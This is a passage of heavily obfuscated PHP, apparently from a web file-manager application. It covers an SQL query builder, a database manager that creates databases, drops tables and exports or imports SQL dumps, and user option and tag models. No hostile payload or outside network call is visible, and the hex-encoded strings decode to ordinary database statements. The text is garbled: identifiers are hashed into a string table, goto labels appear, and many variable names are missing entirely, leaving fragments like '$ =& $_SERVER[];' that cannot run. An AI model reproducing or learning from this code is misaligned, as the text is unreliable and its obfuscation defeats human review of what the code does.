think_exception(think_lang($܈[1078]) . $܈[4] . $뮡); } $҈ = is_array($ԇ) && isset($ԇ[$܈[1079]]); $뮡 = trim($뮡); if (strpos($뮡, $܈[214])) { $Ձ = explode($܈[214], $뮡); $Ί = array(); foreach ($Ձ as $ => $ɐ) { $ڸ귇 = $҈ ? $ԇ[$] : $ԇ; $Ί[] = $܈[337] . $this->parseWhereItem($this->parseKey($ɐ), $ڸ귇) . $܈[976]; } $Ȑ .= implode($܈[1080], $Ί); } elseif (strpos($뮡, $܈[360])) { $Ձ = explode($܈[360], $뮡); $Ί = array(); foreach ($Ձ as $ => $ɐ) { $ڸ귇 = $҈ ? $ԇ[$] : $ԇ; $Ί[] = $܈[337] . $this->parseWhereItem($this->parseKey($ɐ), $ڸ귇) . $܈[976]; } $Ȑ .= implode($܈[1075], $Ί); } else { $Ȑ .= $this->parseWhereItem($this->parseKey($뮡), $ԇ); } } $Ȑ .= $܈[355] . $; } $Ȑ = substr($Ȑ, 0, -strlen($)); } return empty($Ȑ) ? $܈[12] : $܈[1081] . $Ȑ; } protected function parseWhereItem($, $Ŀ) { $ =& $_SERVER[]; $ = $Â[12]; if (is_array($Ŀ)) { if (is_string($Ŀ[0])) { $ж = strtolower($Ŀ[0]); if (in_array($Ŀ[0], array($Â[506], $Â[1082], $Â[1083], $Â[1084], $Â[1085], $Â[1086]))) { $ .= $ . $Â[53] . $Ŀ[0] . $Â[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Â[1087], $Ŀ[0])) { $ .= $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Â[1088], $Ŀ[0])) { if (is_array($Ŀ[1])) { $ = isset($Ŀ[2]) ? strtoupper($Ŀ[2]) : $Â[1073]; if (in_array($, array($Â[1072], $Â[1073], $Â[1074]))) { $ = array(); foreach ($Ŀ[1] as $) { $[] = $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($); } $ .= $Â[337] . implode($Â[53] . $ . $Â[53], $) . $Â[976]; } } else { $ .= $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($Ŀ[1]); } } elseif ($Â[373] == $ж) { $ .= $Â[974] . $ . $Â[53] . $Ŀ[1] . $Â[1089]; } elseif (preg_match($Â[1090], $Ŀ[0])) { $ .= $Ŀ[0]; } elseif (preg_match($Â[1091], $Ŀ[0])) { if (isset($Ŀ[2]) && $Â[373] == $Ŀ[2]) { $ .= $ . $Â[53] . $this->exp[$ж] . $Â[53] . $Ŀ[1]; } else { if (is_string($Ŀ[1])) { $Ŀ[1] = explode($Â[50], $Ŀ[1]); } $¬ = implode($Â[50], $this->parseValue($Ŀ[1])); $ .= $ . $Â[53] . $this->exp[$ж] . $Â[974] . $¬ . $Â[976]; } } elseif (preg_match($Â[1092], $Ŀ[0])) { $亵 = is_string($Ŀ[1]) ? explode($Â[50], $Ŀ[1]) : $Ŀ[1]; $ .= $Â[974] . $ . $Â[53] . $this->exp[$ж] . $Â[53] . $this->parseValue($亵[0]) . $Â[1075] . $this->parseValue($亵[1]) . $Â[355]; } else { think_exception(think_lang($Â[1078]) . $Â[4] . $Ŀ[0]); } } else { $ = count($Ŀ); $ = $Â[12]; if (is_string($Ŀ[$ - 1])) { $ = isset($Ŀ[$ - 1]) ? strtoupper($Ŀ[$ - 1]) : $Â[12]; if (in_array($, array($Â[1072], $Â[1073], $Â[1074]))) { $ = $ - 1; } } else { $ = $Â[1072]; } for ($ = 0; $ < $; $++) { $亵 = is_array($Ŀ[$]) ? $Ŀ[$][1] : $Ŀ[$]; if ($Â[373] == strtolower($Ŀ[$][0])) { $ .= $Â[337] . $ . $Â[53] . $亵 . $Â[1089] . $ . $Â[53]; } else { $ϥݫ = is_array($Ŀ[$]) ? $this->exp[strtolower($Ŀ[$][0])] : $Â[506]; if (!$ϥݫ && is_array($Ŀ[$]) && in_array($Ŀ[$][0], array($Â[506], $Â[1082], $Â[1083], $Â[1084], $Â[1085], $Â[1086]))) { $ϥݫ = $Ŀ[$][0]; } $ .= $Â[337] . $ . $Â[53] . $ϥݫ . $Â[53] . $this->parseValue($亵) . $Â[1089] . $ . $Â[53]; } } $ = substr($, 0, -4); } } else { $ .= $ . $Â[1093] . $this->parseValue($Ŀ); } return $; } protected function parseThinkWhere($ك, $) { $ =& $_SERVER[]; $ = $[12]; switch ($ك) { case $[428]: $ = $; break; case $[1076]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1094]: parse_str($, $); if (isset($[$[1071]])) { $ = $[53] . strtoupper($[$[1071]]) . $[53]; unset($[$[1071]]); } else { $ = $[1075]; } $ = array(); foreach ($ as $푬 => $ͥ) { $[] = $this->parseKey($푬) . $[1093] . $this->parseValue($ͥ); } $ = implode($, $); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($Ũ) { $ =& $_SERVER[]; $ = $[12]; if (!empty($Ũ)) { if (is_array($Ũ)) { foreach ($Ũ as $̴ => $Տ) { if (!1 !== stripos($Տ, $[1095])) { $ .= $[53] . $Տ; } else { $ .= $[1096] . $Տ; } } } else { $ .= $[1096] . $Ũ; } } $ = preg_replace($[1097], think_config($[1001]) . $[1098], $); return $; } protected function parseOrder($ē) { $ =& $_SERVER[]; if (is_array($ē)) { $ښɼ = array(); foreach ($ē as $ => $ب) { if (is_numeric($)) { $ښɼ[] = $this->parseKey($ب); } else { $ب = in_array(strtoupper(trim($ب)), array($[1099], $[1100])) ? $[53] . $ب : $[12]; if (preg_match($[1101], $)) { $ښɼ[] = $this->parseKey($) . $ب; } else { think_exception($[1102] . $); } } } $ē = implode($[50], $ښɼ); } return !empty($ē) ? $[1103] . $ē : $[12]; } protected function parseGroup($瞰) { $ߦŪ =& $_SERVER[]; return !empty($瞰) ? $ߦŪ[1104] . $瞰 : $ߦŪ[12]; } protected function parseHaving($) { $ =& $_SERVER[]; return !empty($) ? $[1105] . $ : $[12]; } protected function parseComment($˲) { $ρք =& $_SERVER[]; return !empty($˲) ? $ρք[1106] . $˲ . $ρք[1107] : $ρք[12]; } protected function parseDistinct($) { $䛐 =& $_SERVER[]; return !empty($) ? $䛐[1108] : $䛐[12]; } protected function parseUnion($⵿) { $ఆ =& $_SERVER[]; if (empty($⵿)) { return $ఆ[12]; } if (isset($⵿[$ఆ[424]])) { $ެ = $ఆ[1109]; unset($⵿[$ఆ[424]]); } else { $ެ = $ఆ[1110]; } foreach ($⵿ as $) { $́[] = $ެ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($ఆ[53], $́); } public function insert($˒, $ア = array(), $ = false) { $ =& $_SERVER[]; $馰 = $ = array(); $this->model = $ア[$[358]]; foreach ($˒ as $ => $) { if (is_array($) && $[373] == $[0]) { $[] = $this->parseKey($); $馰[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($); $馰[] = $this->parseValue($); } } $ݺ = ($ ? $[978] : $[979]) . $[980] . $this->parseTable($ア[$[356]]) . $[974] . implode($[50], $) . $[975] . implode($[50], $馰) . $[976]; $ݺ .= $this->parseLock(isset($ア[$[918]]) ? $ア[$[918]] : !1); $ݺ .= $this->parseComment(!empty($ア[$[430]]) ? $ア[$[430]] : $[12]); return $this->execute($ݺ, $this->parseBind(!empty($ア[$[361]]) ? $ア[$[361]] : array())); } public function selectInsert($, $, $ޥ = array()) { $¸צ =& $_SERVER[]; $this->model = $ޥ[$¸צ[358]]; if (is_string($)) { $ = explode($¸צ[50], $); } array_walk($, array($this, $¸צ[977])); $ = $¸צ[1111] . $this->parseTable($) . $¸צ[974] . implode($¸צ[50], $) . $¸צ[1089]; $ .= $this->buildSelectSql($ޥ); return $this->execute($, $this->parseBind(!empty($ޥ[$¸צ[361]]) ? $ޥ[$¸צ[361]] : array())); } public function update($, $) { $ =& $_SERVER[]; $this->model = $[$[358]]; $ = $[1112] . $this->parseTable($[$[356]]) . $this->parseSet($) . $this->parseWhere(!empty($[$[352]]) ? $[$[352]] : $[12]) . $this->parseOrder(!empty($[$[441]]) ? $[$[441]] : $[12]) . $this->parseLimit(!empty($[$[368]]) ? $[$[368]] : $[12]) . $this->parseLock(isset($[$[918]]) ? $[$[918]] : !1) . $this->parseComment(!empty($[$[430]]) ? $[$[430]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[361]]) ? $[$[361]] : array())); } public function delete($φ = array()) { $ӫ =& $_SERVER[]; $this->model = $φ[$ӫ[358]]; $ = $ӫ[1113] . $this->parseTable($φ[$ӫ[356]]) . $this->parseWhere(!empty($φ[$ӫ[352]]) ? $φ[$ӫ[352]] : $ӫ[12]) . $this->parseOrder(!empty($φ[$ӫ[441]]) ? $φ[$ӫ[441]] : $ӫ[12]) . $this->parseLimit(!empty($φ[$ӫ[368]]) ? $φ[$ӫ[368]] : $ӫ[12]) . $this->parseLock(isset($φ[$ӫ[918]]) ? $φ[$ӫ[918]] : !1) . $this->parseComment(!empty($φ[$ӫ[430]]) ? $φ[$ӫ[430]] : $ӫ[12]); return $this->execute($, $this->parseBind(!empty($φ[$ӫ[361]]) ? $φ[$ӫ[361]] : array())); } public function select($Ѻ = array()) { $ž =& $_SERVER[]; $this->model = $Ѻ[$ž[358]]; $٧ = $this->buildSelectSql($Ѻ); $ = isset($Ѻ[$ž[425]]) ? $Ѻ[$ž[425]] : !1; if ($) { $ = is_string($[$ž[97]]) ? $[$ž[97]] : $ž[1114] . md5($٧); $ = think_cache($, $ž[12], $); if (!1 !== $) { return $; } } $ = $this->query($٧, $this->parseBind(!empty($Ѻ[$ž[361]]) ? $Ѻ[$ž[361]] : array())); if ($ && !1 !== $) { think_cache($, $, $); } return $; } public function buildSelectSql($ۣ = array()) { $ =& $_SERVER[]; if (isset($ۣ[$[429]])) { if (strpos($ۣ[$[429]], $[50])) { list($ֲ, $) = explode($[50], $ۣ[$[429]]); } else { $ֲ = $ۣ[$[429]]; } $ֲ = $ֲ ? $ֲ : 1; $ = isset($) ? $ : (is_numeric($ۣ[$[368]]) ? $ۣ[$[368]] : 20); $ = $ * ((int) $ֲ - 1); $ۣ[$[368]] = $ . $[50] . $; } if (think_config($[1115])) { $ = $[1116] . md5(serialize($ۣ)); $ֺ = think_cache($); if ($ֺ) { return $ֺ; } } $ = $this->parseSql($this->selectSql, $ۣ); $ .= $this->parseLock(isset($ۣ[$[918]]) ? $ۣ[$[918]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($͈, $ߚ = array()) { $Ŧփ =& $_SERVER[]; $͈ = str_replace(array($Ŧփ[1117], $Ŧփ[1118], $Ŧփ[1119], $Ŧփ[1120], $Ŧփ[1121], $Ŧփ[1122], $Ŧփ[1123], $Ŧփ[1124], $Ŧփ[1125], $Ŧփ[1126], $Ŧփ[1127]), array($this->parseTable("{$ߚ[$Ŧփ[356]]}"), $this->parseDistinct(isset($ߚ[$Ŧփ[1128]]) ? $ߚ[$Ŧփ[1128]] : !1), $this->parseField(!empty($ߚ[$Ŧփ[350]]) ? $ߚ[$Ŧփ[350]] : $Ŧփ[220]), $this->parseJoin(!empty($ߚ[$Ŧփ[359]]) ? $ߚ[$Ŧփ[359]] : $Ŧփ[12]), $this->parseWhere(!empty($ߚ[$Ŧփ[352]]) ? $ߚ[$Ŧփ[352]] : $Ŧփ[12]), $this->parseGroup(!empty($ߚ[$Ŧփ[578]]) ? $ߚ[$Ŧփ[578]] : $Ŧփ[12]), $this->parseHaving(!empty($ߚ[$Ŧփ[1129]]) ? $ߚ[$Ŧփ[1129]] : $Ŧփ[12]), $this->parseOrder(!empty($ߚ[$Ŧփ[441]]) ? $ߚ[$Ŧփ[441]] : $Ŧփ[12]), $this->parseLimit(!empty($ߚ[$Ŧփ[368]]) ? $ߚ[$Ŧփ[368]] : $Ŧփ[12]), $this->parseUnion(!empty($ߚ[$Ŧփ[423]]) ? $ߚ[$Ŧփ[423]] : $Ŧփ[12]), $this->parseComment(!empty($ߚ[$Ŧփ[430]]) ? $ߚ[$Ŧփ[430]] : $Ŧփ[12])), $͈); return $͈; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($θ) { return addslashes($θ); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $Լ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$Լ[6]][$Լ[21]]; } $this->database = $; } public function model($̫£ = '') { return new ModelBase($̫£, $_SERVER[][12], $this->database); } public function db($ɲ = false) { $ =& $_SERVER[]; $Ǯƴ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$ɲ) { return $this->model()->db(); } $悥 = $Ǯƴ[$[1043]]; $Ǯƴ[$[1043]] = $[12]; if ($Ǯƴ[$[1038]] == $[1035]) { $ = $Ǯƴ[$[1044]]; $Ǯƴ[$[1044]] = substr($, 0, strrpos($, $[1130])); } $this->database = $Ǯƴ; $̥ = $this->model()->db(); try { $܂ = $̥->execute("\163\x68\x6f\167\40\x64\141\x74\x61\142\x61\163\x65\163\x20\x6c\151\153\x65\x20\47{$悥}\47"); } catch (Exception $) { } if (!$܂) { $̥->execute("\143\162\145\x61\164\x65\40\x64\141\x74\x61\142\x61\x73\x65\x20\140{$悥}\x60"); } $Ǯƴ[$[1043]] = $悥; if ($Ǯƴ[$[1038]] == $[1035]) { $Ǯƴ[$[1044]] .= $[1130] . $悥; } $this->database = $Ǯƴ; $̥->execute("\x75\x73\145\40\140{$悥}\x60"); return $̥; } public function createTable($Ǝ, &$) { $̍ =& $_SERVER[]; if (!IO::exist($Ǝ)) { ActionCall($̍[1131], !0, 0); show_json(LNG($̍[1132]), !1); } $氢 = $this->model()->db(); $¡ = sqlSplit(IO::getContent($Ǝ)); foreach ($¡ as $) { $ = stripos($, $̍[1133]) === 0; if ($) { $->task[$̍[1134]] += 1; } $氢->execute($); if ($) { preg_match($̍[1135], $, $Ҫ); $->task[$̍[1136]] = $Ҫ[1]; $->update(1); } } } public function insertTable($, &$藱) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $Ӡ ? array($Ӡ) : $->getTables(); foreach ($ as $֛) { $Ӡ = basename($֛, $[863]); if (!in_array($Ӡ, $)) { continue; } $藱->task[$[1136]] = $Ӡ; if (get_filesize($֛) == 0) { continue; } $ę = $this->sqlToDb($֛, $藱); if (!$ę) { ActionCall($[1131], !0, 0); show_json(LNG($[1137]) . "\x5b{$Ӡ}\135", !1); } } } public function sqlFromDb($, $鮘, &$, $ = '') { if ($) { $->task[$_SERVER[][1136]] = $; } $ = $this->model($); $ܜ = 0; $̻ = 0; $Ȳ = 10000; $ = fopen($鮘, $_SERVER[][1138]); $Е = $->getPk(); $җ
= $->getDbFields(); $Ŋ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][862]] && in_array($, array($_SERVER[][1139], $_SERVER[][1140]))) { $Ŋ = $; } do { $ = array($Е => array($_SERVER[][1085], $̻)); $퓡 = $->where($)->field($җ
)->order($Е . $_SERVER[][1141])->limit($Ȳ)->select(); $퓡 = !empty($퓡) ? $퓡 : array(); if (!($ԣ = count($퓡))) { break; } $Ѡ = end($퓡); $̻ = $Ѡ[$Е]; $ = array(); foreach ($퓡 as $ݨ) { if ($Ŋ) { if ($ == $_SERVER[][1139]) { if ($ݨ[$_SERVER[][33]] == $_SERVER[][1142]) { $ = json_decode($ݨ[$_SERVER[][450]], !0); if ($[$_SERVER[][32]] == $GLOBALS[$_SERVER[][862]] && $[$_SERVER[][817]] != 1) { continue; } } } else { if ($ݨ[$_SERVER[][33]] == $_SERVER[][1143] && $ݨ[$_SERVER[][97]] == $_SERVER[][857]) { continue; } } } if ($) { $ݨ[$_SERVER[][87]] = "\173\x69\x6f\72{$}\x7d" . substr($ݨ[$_SERVER[][87]], strlen("\x7b\x69\157\x3a{$ݨ[$_SERVER[][892]]}\175")); $ݨ[$_SERVER[][892]] = $; } $[] = $_SERVER[][1144] . $this->sqlEncode($ݨ) . $_SERVER[][1145]; } $կ = "\x49\116\123\x45\x52\x54\x20\111\x4e\124\117\x20\140{$}\140\40\50\x60" . implode($_SERVER[][1146], $җ
) . $_SERVER[][1147]; fwrite($, $կ . implode($_SERVER[][1148], $) . $_SERVER[][74] . PHP_EOL); $ܜ += $ԣ; if ($) { $->update($ԣ); } } while ($Ȳ == $ԣ); fclose($); return $ܜ; } public function sqlToDb($Þ, &$) { $ä =& $_SERVER[]; $ = $this->model()->db(); $ = @fopen($Þ, $ä[1149]); if (!$) { return !1; } $ۼ = 0; $ʃ = $ä[12]; $ = array(); $٩ = $this->dbType(); $́ꙶ = $٩ == $ä[13] ? 500 : 2000; $ = basename($Þ, $ä[863]); $θ = 0; $Ӄ = 4194304; while (!feof($)) { $몫 = trim(fgets($)); if (!$몫) { continue; } $ߑ׀ = $this->sqlDecode($몫, $٩, $); if (stripos($ߑ׀, $ä[431]) === 0) { if (!$ʃ) { $ʃ = $ߑ׀ . $ä[53]; } continue; } if ($) { $->task[$ä[1134]] += 1; } $ۼ++; $[] = rtrim(rtrim(trim($ߑ׀), $ä[50]), $ä[74]); $ = null; $钤 = strlen($ߑ׀); $θ += $钤; $ϋ = strlen($ʃ) + $θ + (count($) - 1); if ($ϋ >= $Ӄ) { $ = array_pop($); if ($ۼ > 1) { $ۼ--; } } if ($ۼ >= $́ꙶ || $) { $ߑ׀ = $ʃ . implode($ä[50], $); if (!$->execute($ߑ׀)) { return !1; } if ($) { $->update($ۼ); } $ = array(); $ۼ = 0; $θ = 0; if ($) { $ = array($); $ۼ = 1; $θ = $钤; } } } fclose($); if (!empty($)) { $ߑ׀ = $ʃ . implode($ä[50], $); if (!$->execute($ߑ׀)) { return !1; } if ($) { $->update($ۼ); } } return !0; } public function dropTable($ۢ˻ = null) { $ = $this->model()->db(); $Ϛ = $ۢ˻ ? array($ۢ˻) : $->getTables(); if (!$Ϛ) { return; } foreach ($Ϛ as $ۢ˻) { if ($ۢ˻) { $ۢ˻ = strtolower($ۢ˻); } else { continue; } $->execute("\x64\x72\x6f\160\x20\x74\141\x62\154\145\40\151\x66\40\145\x78\x69\163\x74\x73\40\140{$ۢ˻}\140"); } } private function sqlEncode($菗) { $ =& $_SERVER[]; $ = array(); foreach ($菗 as $ˀ) { if (is_array($ˀ)) { $ˀ = json_encode_force($ˀ); } $ˀ = addslashes($ˀ); $ˀ = str_replace(array($[1150], $[262], $[418]), array($[1151], $[1152], $[1153]), $ˀ); $[] = $ˀ; } return $[58] . implode($[1154], $) . $[58]; } private function sqlDecode($͚λ, $, $۠ = '') { $ =& $_SERVER[]; $͚λ = str_replace(array($[1151], $[1152], $[1153]), array($[1150], $[262], $[418]), $͚λ); if ($ == $[13]) { $͚λ = str_ireplace($[1155], $[59], $͚λ); $͚λ = stripslashes($͚λ); } return preg_replace($[1156], $[12], $͚λ); if ($ == $[13]) { return $۠ != $[1157] ? stripslashes($͚λ) : $͚λ; } if ($۠ == $[1157]) { $͚λ = str_replace($[1158], $[121], stripslashes($͚λ)); } return $͚λ; } public function getSqlFile($ߣ = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ߗ = CONTROLLER_DIR . "\x69\156\163\x74\141\154\154\57\144\141\x74\141\x2f{$}\56\163\161\x6c"; $ = file_get_contents($ߗ); $ʧ = $[1159] . ($ == $[879] ? $[1160] : $[1161]) . $[1162]; preg_match_all($ʧ, $, $ٴ); $̳ۖ = $ٴ[1]; $ = $this->model()->db(); $눊 = $->getTables(); $ = TEMP_FILES . $[1163] . date($[272]) . $[8]; del_dir($); mk_dir($); $ = $ . $[1164]; $ѐ = $ . $[1165]; $Ȯ = $ == $[13] ? $[879] : $[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\x73\x74\x61\154\x6c\x2f\144\141\x74\141\57{$Ȯ}\x2e\x73\161\x6c", $); @touch($ . $ . $[863]); $Dz = fopen($, $[1138]); $ܣ = fopen($ѐ, $[1138]); if ($ == $[13]) { $눊 = array_diff($눊, array($[855], $[856])); $ = array($[1166], $[1167], $[1168]); fwrite($ܣ, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($눊 as $̌) { $ = $this->sqlFromSqlite($̌); if (!$[$[13]]) { continue; } fwrite($ܣ, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($̌, $̳ۖ)) { fwrite($Dz, $[$[879]] . PHP_EOL . PHP_EOL); } } } else { foreach ($눊 as $̌) { $ = $this->sqlFromMysql($̌); if (!$[$[879]]) { continue; } fwrite($Dz, $[$[879]] . PHP_EOL . PHP_EOL); if (!in_array($̌, $̳ۖ)) { fwrite($ܣ, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($Dz); fclose($ܣ); $ = array($[879] => $, $[13] => $ѐ); return $ߣ ? $[$ߣ] : $; } public function dbType($ = false) { $ =& $_SERVER[]; $ = $ ? $GLOBALS[$[6]][$[21]] : $this->database; $ = array_change_key_case($); $ = $[$[1038]]; if ($ == $[1035]) { $ч = explode($[4], $[$[1044]]); $ = $ч[0]; } $첂 = array($[1169] => $[13], $[983] => $[879]); if (isset($첂[$])) { $ = $첂[$]; } return $; } public function sqlFromMysql($ں, $ = '') { $᷅ =& $_SERVER[]; $Õ = $this->model()->db(); $Ο = $Õ->query($᷅[1170] . $ں . $᷅[461]); if (!$Ο || !$Ο[0]) { return !1; } $Ơ = _get($Ο[0], $᷅[1171], $᷅[12]); if (!$Ơ) { return !1; } $ = "\x44\x52\x4f\x50\x20\x54\x41\102\114\x45\x20\111\x46\x20\x45\x58\111\123\x54\123\x20\x60{$ں}\x60\73" . PHP_EOL . $Ơ . $᷅[74]; if ($ && $ == $᷅[879]) { return $; } $ = array_change_key_case($GLOBALS[$᷅[6]][$᷅[21]]); $ = $[$᷅[1043]]; $ = $᷅[1172] . $ . $᷅[1173] . $ں . $᷅[58]; $Ռ = $᷅[1174] . $ں . $᷅[971]; $ = $Õ->query($); if (empty($)) { $⊸چ = array($᷅[879] => $᷅[12], $᷅[13] => $᷅[12]); return $ ? $⊸چ[$] : $⊸چ; } $蝯 = $Õ->query($Ռ); $情 = $᷅[12]; $ߵ = array(); foreach ($蝯 as $կ) { if (!$情 && $կ[$᷅[1175]] == $᷅[1176]) { $情 = $կ[$᷅[1177]]; } if (isset($ߵ[$կ[$᷅[1175]]])) { $ߵ[$կ[$᷅[1175]]][$᷅[1178]][] = $կ[$᷅[1177]]; continue; } $ߵ[$կ[$᷅[1175]]] = array($᷅[1179] => $կ[$᷅[1175]], $᷅[1178] => array($կ[$᷅[1177]]), $᷅[1180] => $կ[$᷅[1181]] == $᷅[91] ? 0 : 1); } $ڍ = array(); foreach ($ߵ as $կ) { $ = $կ[$᷅[1179]] == $᷅[1176]; $ = array($᷅[1182], $կ[$᷅[1180]] == $᷅[91] && !$ ? $᷅[1183] : $᷅[12], $᷅[1184], $᷅[1185] . $ں . $᷅[11] . ($ ? $᷅[1186] : $կ[$᷅[1179]]) . $᷅[121], $᷅[1187], $᷅[121] . $ں . $᷅[121], $᷅[1188] . implode($᷅[1189], $կ[$᷅[1178]]) . $᷅[1190]); $ڍ[] = implode($᷅[53], $) . $᷅[74]; } $Ŧ܂ = array(); $҉ = array($᷅[1191] => $᷅[1192], $᷅[1192] => $᷅[1192], $᷅[364] => $᷅[391], $᷅[363] => $᷅[391]); foreach ($ as $կ) { $ = array($᷅[121] . $կ[$᷅[1193]] . $᷅[121], isset($҉[$կ[$᷅[1194]]]) ? $҉[$կ[$᷅[1194]]] : $կ[$᷅[1195]], $կ[$᷅[1196]] == $᷅[969] ? $᷅[1197] : $᷅[1198], $կ[$᷅[1193]] == $情 ? $᷅[1199] : $᷅[12], $կ[$᷅[1020]] ? strtoupper(str_replace($᷅[11], $᷅[12], $կ[$᷅[1020]])) : $᷅[12]); $Ŧ܂[] = trim(implode($᷅[53], $)); } $˶ = array($᷅[1200] . $ں . $᷅[1201], $᷅[1202] . $ں . $᷅[1203], implode($᷅[50] . PHP_EOL, $Ŧ܂), $᷅[1017]); $ۛ = implode(PHP_EOL, array_merge($˶, $ڍ)); if ($ && $ == $᷅[13]) { return $ۛ; } $⊸چ = array($᷅[879] => $, $᷅[13] => $ۛ); return $ ? $⊸چ[$] : $⊸چ; } public function sqlFromSqlite($, $ = '') { $̬ =& $_SERVER[]; $̵ = $this->model()->db(); $ܜ = "\x50\122\x41\107\x4d\101\40\x54\101\x42\x4c\105\x5f\x49\x4e\106\117\40\x28\x27{$}\x27\51"; $ = "\123\x45\114\105\x43\x54\40\52\x20\106\x52\x4f\115\40\163\161\x6c\x69\x74\x65\x5f\155\141\x73\x74\145\x72\40\127\110\105\122\x45\40\x74\142\x6c\x5f\x6e\x61\x6d\145\40\75\x20\x27{$}\x27"; $̍ = $̵->query($ܜ); if (empty($̍)) { $ = array($̬[879] => $̬[12], $̬[13] => $̬[12]); return $ ? $[$] : $; } $ғ = $̵->query($); $Ίݠ = $ = array(); foreach ($ғ as $) { if ($[$̬[33]] == $̬[356]) { $Ίݠ[] = $[$̬[1204]]; } else { $[$[$̬[32]]] = $[$̬[1204]]; } } $Ϋ = array_merge(array($̬[1200] . $ . $̬[121]), $Ίݠ, array_values($)); $Ϋ = implode($̬[74] . PHP_EOL, $Ϋ) . $̬[74]; if ($ && $ == $̬[13]) { return $Ϋ; } $Þ = array(); $幧ކ = array($̬[1192] => $̬[1205], $̬[391] => $̬[1206]); $ݩ = $̬[12]; foreach ($̍ as $) { if ($[$̬[57]] == $̬[91]) { $ݩ = $[$̬[32]]; } $۰ = array($̬[461] . $[$̬[32]] . $̬[461], isset($幧ކ[$[$̬[33]]]) ? $幧ކ[$[$̬[33]]] : $[$̬[33]], $[$̬[35]] == $̬[91] ? $̬[1197] : $̬[1207] . $[$̬[56]], $[$̬[57]] == $̬[91] ? $̬[1208] : $̬[12]); $Þ[] = trim(implode($̬[53], $۰)); } foreach ($ as $ => $֕) { $ް = str_replace($̬[1209] . $ . $̬[11], $̬[12], $); $ч = str_replace(array($̬[121], $̬[1028]), $̬[461], substr($֕, stripos($֕, $̬[337]))); if ($ް == $̬[1186]) { $̶ = $̬[1210] . $ݩ . $̬[1211]; } else { $̶ = (stripos($ް, $̬[11]) ? $̬[1212] : $̬[12]) . ($̬[1213] . $ް . $̬[1214] . $ч); } $Þ[] = $̶; } $ˎ = array($̬[1215] . $ . $̬[1216], $̬[1217] . $ . $̬[1218], implode($̬[50] . PHP_EOL, $Þ), $̬[1219]); $ = implode(PHP_EOL, $ˎ); if ($ && $ == $̬[879]) { return $; } $ = array($̬[879] => $, $̬[13] => $Ϋ); return $ ? $[$] : $; } } goto aĝۭ; A: class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\145\x72\137\x6f\x70\x74\151\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($²) { $ޡ =& $_SERVER[]; $ = defined($ޡ[2189]) && USER_ID ? USER_ID : $ޡ[12]; return "\125\x73\x65\162\117\x70\x74\151\157\x6e\x5f{$²}\137" . $; } protected function filterWhere($) { $ =& $_SERVER[]; $[$[1763]] = defined($[2189]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser($뎿, $ǂ) { return Cache::remove("\125\163\x65\x72\117\x70\164\x69\x6f\x6e\x5f{$뎿}\137" . $ǂ); } protected function optionDefault($Ƌ = '') { $ٲ =& $_SERVER[]; if ($Ƌ == $ٲ[12]) { return $GLOBALS[$ٲ[6]][$ٲ[2494]]; } if ($Ƌ == $ٲ[2495]) { return $GLOBALS[$ٲ[6]][$ٲ[2496]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\145\162\x2e\164\141\x67\114\151\x73\164"; public $modelType = "\x55\x73\145\162\117\x70\x74\x69\157\156"; public $field = array("\x6e\x61\x6d\145", "\x73\164\171\x6c\145", "\x73\157\x72\x74"); public function listData($ۘ = false, $֛ = "\x73\x6f\162\x74", $̤ = false) { return parent::listData($ۘ, $֛, $̤); } public function remove($چ) { return parent::remove($چ); } public function add($Փ, $Ҙ = "\154\141\x62\x65\x6c\x2d\x67\x72\145\x79\55\156\x6f\x72\x6d\141\x6c") { $ =& $_SERVER[]; if ($this->findByName($Փ)) { return !1; } $Ь = array($[494] => $Փ, $[558] => $Ҙ, $[1966] => $this->getSort($[335]) + 1); return parent::insert($Ь); } public function update($ܿ, $ǚ) { $ =& $_SERVER[]; $ = $this->listData($ܿ); $ = $this->findByName($ǚ[$[32]]); if (!$ || $ && $[$[475]] != $[$[475]]) { return !1; } return parent::update($ܿ, $ǚ); } public function moveTop($Ǐ) { $ =& $_SERVER[]; $ = parent::listData(); $ܪ = $this->getSort($[334]); foreach ($ as &$ٙ) { if ($ٙ[$[475]] == $Ǐ) { $ٙ[$[1986]] = $ܪ; continue; } $ٙ[$[1986]] += 1; } unset($ٙ); return parent::resetData($); } public function moveBottom($) { $ =& $_SERVER[]; $ӱ = $this->getSort($[335]) + 1; return parent::update($, array($[1986] => $ӱ)); } public function resetSort($ޝ) { $ =& $_SERVER[]; $ = array(); $ޝ = is_array($ޝ) ? $ޝ : array(); for ($ = 0; $ < count($ޝ); $++) { $[$ޝ[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$ڤã) { $Е = $[$ڤã[$[475]]]; $ڤã[$[1986]] = $Е ? $Е : $ڤã[$[1986]]; } unset($ڤã); return parent::resetData($); } private function getSort($㏖) { $֣ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $֣[12], $֣[1986]); if (!$) { $ = array(0); } $̄ = $㏖ == $֣[335] ? max($) 